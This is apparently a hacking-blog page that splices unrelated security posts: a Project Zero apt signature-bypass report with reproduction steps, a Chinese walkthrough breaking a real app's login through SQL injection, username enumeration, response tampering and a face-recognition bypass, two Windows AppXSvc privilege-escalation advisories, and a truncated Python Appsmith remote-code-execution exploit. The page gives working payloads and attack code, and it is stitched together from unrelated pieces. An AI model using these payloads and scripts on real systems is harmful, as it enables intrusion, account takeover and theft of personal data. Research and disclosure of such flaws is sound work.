Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112680

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1020

== Vulnerability ==
When apt-get updates a repository that uses an InRelease file (clearsigned
Release files), this file is processed as follows:
First, the InRelease file is downloaded to disk.
In a subprocess running the gpgv helper, "apt-key verify" (with some more
arguments) is executed through the following callchain:

gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
  -> GPGVMethod::VerifyGetSigners -> ExecGPGV

ExecGPGV() splits the clearsigned file into payload and signature using
SplitClearSignedFile(), calls apt-key on these two files to perform the
cryptographic signature verification, then discards the split files and only
retains the clearsigned original. SplitClearSignedFile() ignores leading and
trailing garbage.

Afterwards, in the parent process, the InRelease file has to be loaded again
so that its payload can be processed. At this point, the code
isn't aware anymore whether the Release file was clearsigned or
split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
first attempts to parse the file as a clearsigned (InRelease) file and extract
the payload, then falls back to treating the file as the file as a split-signed
(Release) file if the file format couldn't be recognized.

The weakness here is: If an attacker can create an InRelease file that
is parsed as a proper split-signed file during signature validation, but then
isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
ignored by the signature validation is interpreted as repository metadata,
bypassing the signing scheme.

It first looks as if it would be impossible to create a file that is recognized
as split-signed by ExecGPGV(), but isn't recognized by
OpenMaybeClearSignedFile(), because both use the same function,
SplitClearSignedFile(), for parsing the file. However, multiple executions of
SplitClearSignedFile() on the same data can actually have different non-error
results because of a bug.
SplitClearSignedFile() uses getline() to parse the input file. A return code
of -1, which signals that either EOF or an error occured, is always treated
as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
possible error code, but because the function allocates (nearly) unbounded
amounts of memory, it can actually also fail with ENOMEM if it runs out of
memory.
Therefore, if an attacker can cause the address space in the main apt-get
process to be sufficiently constrained to prevent allocation of a large line
buffer while the address space of the gpgv helper process is less constrained
and permits the allocation of a buffer with the same size, the attacker can use
this to fake an end-of-file condition in SplitClearSignedFile() that causes the
file to be parsed as a normal Release file.

A very crude way to cause such a constraint on a 32-bit machine is based on
abusing ASLR. Because ASLR randomizes the address space after each execve(),
thereby altering how much contiguous virtual memory is available, an allocation
that attempts to use the average available virtual memory should ideally succeed
50% of the time, resulting in an upper limit of 25% for the success rate of the
whole attack. (That's not very effective, and a real attacker would likely want
a much higher success rate, but it works for a proof of concept.)
This is not necessarily a limitation of the vulnerability, just a limitation
of the way the exploit is designed.

I think that it would make sense to fix this as follows:
 - Set errno to 0 before calling getline(), verify that it's still 0 after
   returning -1, treat it as an error if errno isn't 0 anymore.
 - Consider splitting the InRelease file only once, before signature validation,
   and then deleting the original clearsigned file instead of the payload file.
   This would get rid of the weakness that the file is parsed twice and parsing
   differences can have security consequences, which is a pretty brittle design.
 - I'm not sure whether this bug would have been exploitable if the parser for
   split files or the parser for Release files had been stricter. You might want
   to consider whether you could harden this code that way.



== Reproduction instructions ==
These steps are probably more detailed than necessary.

First, prepare a clean Debian VM for the victim:

 - download debian-8.6.0-i386-netinst.iso (it is important that this
   is i386 and not amd64)
 - install Virtualbox (I'm using version 4.6.36 from Ubuntu)
 - create a new VM with the following properties:
  - type "Linux", version "Debian (32-bit)"
  - 8192 MB RAM (this probably doesn't matter much, especially
    if you enable swap)
  - create a new virtual harddrive, size 20GB (also doesn't matter much)
 - launch the VM, insert the CD
 - pick graphical install
 - in the installer, use defaults everywhere, apart from enabling Xfce
   in the software selection

After installation has finished, log in, launch a terminal,
"sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
so that it points to some unused port on the host machine instead of
the proper mirror
("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
This simulates a MITM attack or compromised mirror.

On the host (as the attacker):


$ tar xvf apt_sig_bypass.tar 
apt_sig_bypass/
apt_sig_bypass/debian/
apt_sig_bypass/debian/netcat-evil.deb
apt_sig_bypass/debian/dists/
apt_sig_bypass/debian/dists/jessie-updates/
apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
apt_sig_bypass/debian/dists/jessie-updates/main/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
apt_sig_bypass/make_inrelease.py
$ cd apt_sig_bypass/
$ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  141k  100  141k    0     0   243k      0 --:--:-- --:--:-- --:--:--  243k
$ ./make_inrelease.py 
$ ls -lh debian/dists/jessie-updates/InRelease
-rw-r--r-- 1 user user 1.3G Dec  5 17:13 debian/dists/jessie-updates/InRelease
$ python -m SimpleHTTPServer 1337 .
Serving HTTP on 0.0.0.0 port 1337 ...


Now, in the VM, as root, run "apt-get update".
It will probably fail - run it again until it doesn't fail anymore.
The errors that can occur are "Clearsigned file isn't valid" (when the
allocation during gpg verification fails) and some message about
a hash mismatch (when both allocations succeed). After "apt-get update"
has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
look like this (server IP censored, irrelevant output removed and marked with
"[...]"):

root@debian:/home/user# apt-get update
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
[...]
100% [1 InRelease gpgv 1,342 MB]                                                       28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?)

root@debian:/home/user# apt-get update
[...]
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
[...]
Fetched 1,349 MB in 55s (24.4 MB/s)
Reading package lists... Done

root@debian:/home/user# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  netcat-traditional
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 666 B of archives.
After this operation, 109 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B]
Fetched 666 B in 0s (0 B/s)
Reading changelogs... Done
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing description
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing maintainer
(Reading database ... 86469 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_9000_i386.deb ...
arbitrary code execution reached
uid=0(root) gid=0(root) groups=0(root)
[...]

As you can see, if the attacker gets lucky with the ASLR randomization, there
are no security warnings and "apt-get upgrade" simply installs the malicious
version of the package. (The dpkg warnings are just because I created a minimal
package file, without some of the usual information.)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40916.zip
            

一、APP抓包和逆向破解加密算法

打开APP是一个登录框

图片

抓包后发现参数被加密了

图片

使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好

图片

根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数

图片

定位过去,一套加解密算法都写好了放在这

图片

放到浏览器console里面调试,果然没错

图片

二、寻找注入点

首先测试了一下注入

明文:{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回异常

图片


明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回正常

图片

明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:App返回正常

图片

至此已经可以判断该登录点就是一个注入了,可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1

图片


根据返回结果推测,后端的登录处的逻辑代码可能是这样的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;if (userPass == <passWord>){
return 'Login success';
}else{
return 'Login failed';
}

通过Union注入构造万能密码,是可以造成任意用户登陆的,测试过程如下
先使用order by测试,得知字段的数量为9个,构造payload

# 由于目标服务器带有过滤,所以这里简单的bypass一下
明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回成功

图片


由于Oracle在进行union查询时,所对应的字段数据类型也必须相同,所以还要进行字段数据类型的测试,最终结果如下

# 注意这里passWord我修改成了123,用来测试Union构造的万能密码是否可行
明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:提示是弱密码(说明此方法可行)

图片


图片


接下来就是一个字段一个字段的改过去,判断哪个字段对应的是密码字段,测试结果如下

# 注意这里passWord我修改成了Ceshi123@@@,不再是弱口令了
明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果:提示登录成功

图片

图片

在绕过后,发现程序出现了异常

图片

仔细观察返回的数据,其中有username(用户名)、staffId(职工号)、email(邮箱)、staffName(姓名)、tel(手机号)、mobile(手机号),然而这些数据都是我刚刚自己随便构造的,这里应该需要一个真实的用户信息,供后续的登录流程使用

图片


好在,还是有一个地方能获取真实的用户信息的

三、由忘记密码,爆破用户名

App还有一个忘记密码的功能(通常这里可以爆破用户名)

图片

利用忘记密码的功能可以判断用户名是否存在,这里随便跑了一下字典,就出来好多用户名

图片


图片

四、破解短信验证码

自然而然地利用这些用户名使用短信验证码登录

图片

获取验证码,然后解密数据包,惊奇的发现返回了用户基本信息

图片

根据登录返回结果,重新测试payload,最终结果如下

明文:{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:xxxxxxxxx结果:提示登录成功

图片

仔细看返回的登录数据,已经正常了

图片

然后重新替换数据包登录,提示绑定IMEI

图片

这个绕过很简单,随便输入验证码,替换返回包,把resultCode从1001改为1000就行(常规操作)

图片


图片

五、抓包、改包,绕过人脸识别

最终还要个人脸认证

图片

先用自己的脸检测,这时候手机会向服务器发包,burp把手机发向服务器的包直接丢掉就可以绕过

图片

点击确定后,还有一个大数据包发向服务器,这里面包含的是人脸数据

图片


修改数据包,将其中的人脸数据替换为空,然后发送

图片


图片

六、成功登录APP

最终的最终,成功登录APP

图片

图片



转载于原文链接: https://mp.weixin.qq.com/s/rpBQn2LV1xOOUGjvSRuSRg


# Exploit Title: AppXSvc 17763 - Arbitrary File Overwrite (DoS)
# Date: 2019-10-28
# Exploit Author: Gabor Seljan
# Vendor Homepage: https://www.microsoft.com/
# Version: 17763.1.amd64fre.rs5_release.180914-1434
# Tested on: Windows 10 Version 1809 for x64-based Systems
# CVE: CVE-2019-1476

# Summary:
# AppXSvc improperly handles file hard links resulting in a low privileged user
# being able to overwrite an arbitrary file leading to elevation of privilege.

# Description:

# An elevation of privilege vulnerability exists when the AppX Deployment Server
# (AppXSvc) improperly handles file hard links. While researching CVE-2019-0841
# originally reported by Nabeel Ahmed, I have found that AppXSvc can be forced
# to overwrite an arbitrary file by deleting all registry data files before
# creating the file hard link. As Nabeel Ahmed described in his write-up of
# CVE-2019-0841, if the settings.dat file is corrupted it will be replaced with
# the original settings.dat template. However, additional settings.dat.LOG1 and
# settings.dat.LOG2 files are also created during the initialization process.
# Substituting the settings.dat.LOG1 or the settings.dat.LOG2 file with a hard
# link allows a low privileged user to overwrite an arbitrary file with registry
# data or just simply empty it, respectively. A low privileged user could exploit
# this vulnerability to cause denial of service by overwriting critical system
# files.

Steps to reproduce:
1. Terminate Paint 3D processes.
2. Delete settings.* files in Microsoft.MSPaint_8wekyb3d8bbwe\Settings folder.
3. Create a hard link from settings.dat.LOG1 to C:\Windows\win.ini.
4. Execute the start ms-paint: command to run Paint 3D.
5. Terminate Paint 3D processes.

Expected result:
It isn't possible to overwrite a file not writable by a low privileged user.

Observed result:
C:\Windows\win.ini file is overwritten with registry data.

References:
https://github.com/sgabe/CVE-2019-1476
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1476
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841
            
#-----------------------------------------------------------------------------#
# Exploit Title: AppXSvc - Arbitrary File Security Descriptor Overwrite (EoP) #
# Date: Sep 4 2019                                                            #
# Exploit Author: Gabor Seljan                                                #
# Vendor Homepage: https://www.microsoft.com/                                 #
# Version: 17763.1.amd64fre.rs5_release.180914-1434                           #
# Tested on: Windows 10 Version 1809 for x64-based Systems                    #
# CVE: CVE-2019-1253                                                          #
#-----------------------------------------------------------------------------#

Summary:

AppXSvc improperly handles file hard links resulting in a low privileged user
being able to take 'Full Control' of an arbitrary file leading to elevation of
privilege.

Description:

An elevation of privilege vulnerability exists when the AppX Deployment Server
(AppXSvc) improperly handles file hard links. While researching CVE-2019-0841
originally reported by Nabeel Ahmed, I have found that AppXSvc sometimes opens
the settings.dat[.LOGx] files of Microsoft Edge for a restore operation that
modifies the security descriptor of the files. Further analyzis revealed that
the restore operation can be triggered on demand by preventing AppXSvc from
accessing the settings.dat[.LOGx] files. This can be achieved by locking the
settings.dat[.LOGx] file, resulting in 'Access Denied' and 'Sharing Violation'
errors when Edge and AppXSvc are trying to access it. Eventually the restore
operation kicks in and if the settings.dat[.LOGx] file has been replaced with
a hard link AppXSvc will overwrite the security descriptor of the target file.
A low privileged user can leverage this vulnerability to take 'Full Control'
of an arbitrary file.

Steps to reproduce:
1. Terminate Edge.
2. Create a hard link from settings.dat.LOG2 to C:\Windows\win.ini.
3. Open the hard link for reading and lock the file.
4. Start Edge and wait a few seconds for the restore operation to kick in.
5. Unlock the file and close the file handle.

Expected result:
Full access (GENERIC_ALL) to C:\Windows\win.ini is denied.

Observed result:
C:\Windows\win.ini has had it's security descriptor rewritten to grant
'Full Control' to the low privileged user.

PoC files:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47389.zip

References:
https://github.com/sgabe/CVE-2019-1253
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1253
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841
            
# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.

import requests
import json
import pyfiglet
import argparse

# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
print(banner)

# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()

# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command

if not base_url.startswith("http://") and not base_url.startswith("https://"):
    base_url = "http://" + base_url

# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
    "email": "poc1@poc.com",
    "password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()

# Login request
login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
login_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/user/login",
    "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}

login_data = {
    "username": "poc1@poc.com",  # Adjusted to match the provided request
    "password": "Testing123!"
}

# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()

# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
    # Split the Set-Cookie header to get the cookie name and value
    cookie_name, cookie_value = set_cookie.split(';')[0].split('=')

# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
    fourth_request_url = f"{base_url}/api/v1/workspaces"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Requested-By": "Appsmith",
        "Connection": "keep-alive",
        "Referer": f"{base_url}/applications",
        "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
    }
    
    fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
    fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
    fourth_response.raise_for_status()

    # Extract the 'id' from the response if it exists
    try:
        response_json = fourth_response.json()
        workspace_id = response_json.get("data", {}).get("id")
    except ValueError:
        print("Response content is not valid JSON:", fourth_response.text)  # Print the raw response for debugging

    if workspace_id:
        fifth_request_url = f"{base_url}/api/v1/applications"
        fifth_request_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "X-Requested-By": "Appsmith",
            "Content-Length": "161",
            "Origin": base_url,
            "Connection": "keep-alive",
            "Referer": f"{base_url}/applications?workspaceId={workspace_id}",
            "Cookie": f"{cookie_name}={cookie_value}",
        }
        
        fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})

        print('Creating a new application...')
        fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
        fifth_response.raise_for_status()

        try:
            response_json = fifth_response.json()
            application_id = response_json.get("data", {}).get("id")
        except ValueError:
            print("Response content is not valid JSON:", fifth_response.text)

        # Sixth request to get workspace details
        if workspace_id:
            sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
            sixth_request_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                "Accept": "application/json, text/plain, */*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                "Connection": "keep-alive",
                "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                "Cookie": f"{cookie_name}={cookie_value}",
            }
            
            print('Getting workspace details...')
            sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
            sixth_response.raise_for_status()
            
            # Extract all plugin IDs from the response
            try:
                response_json = sixth_response.json()
                plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]

                # Loop through each plugin ID for the seventh request
                print(f'Searching for vulnerable postgres database...')
                for plugin_id in plugin_ids:
                    # Seventh request to get the form data for the plugin
                    seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
                    seventh_request_headers = {
                        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                        "Accept": "application/json, text/plain, */*",
                        "Accept-Language": "en-US,en;q=0.5",
                        "Accept-Encoding": "gzip, deflate",
                        "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                        "Connection": "keep-alive",
                        "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
                        "Cookie": f"{cookie_name}={cookie_value}",
                    }
                    
                    try:
                        seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
                        seventh_response.raise_for_status()
                        
                        # Extracting the port value from the seventh response
                        try:
                            seventh_response_json = seventh_response.json()
                            if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
                                form_data = seventh_response_json['data']['form']
                                if any("postgres" in str(item) for item in form_data):
                                    print(f"Vulnerable postgres database found.")
                                    break
                            else:
                                pass
                        except (ValueError, IndexError) as e:
                            pass
                    except requests.exceptions.HTTPError as e:
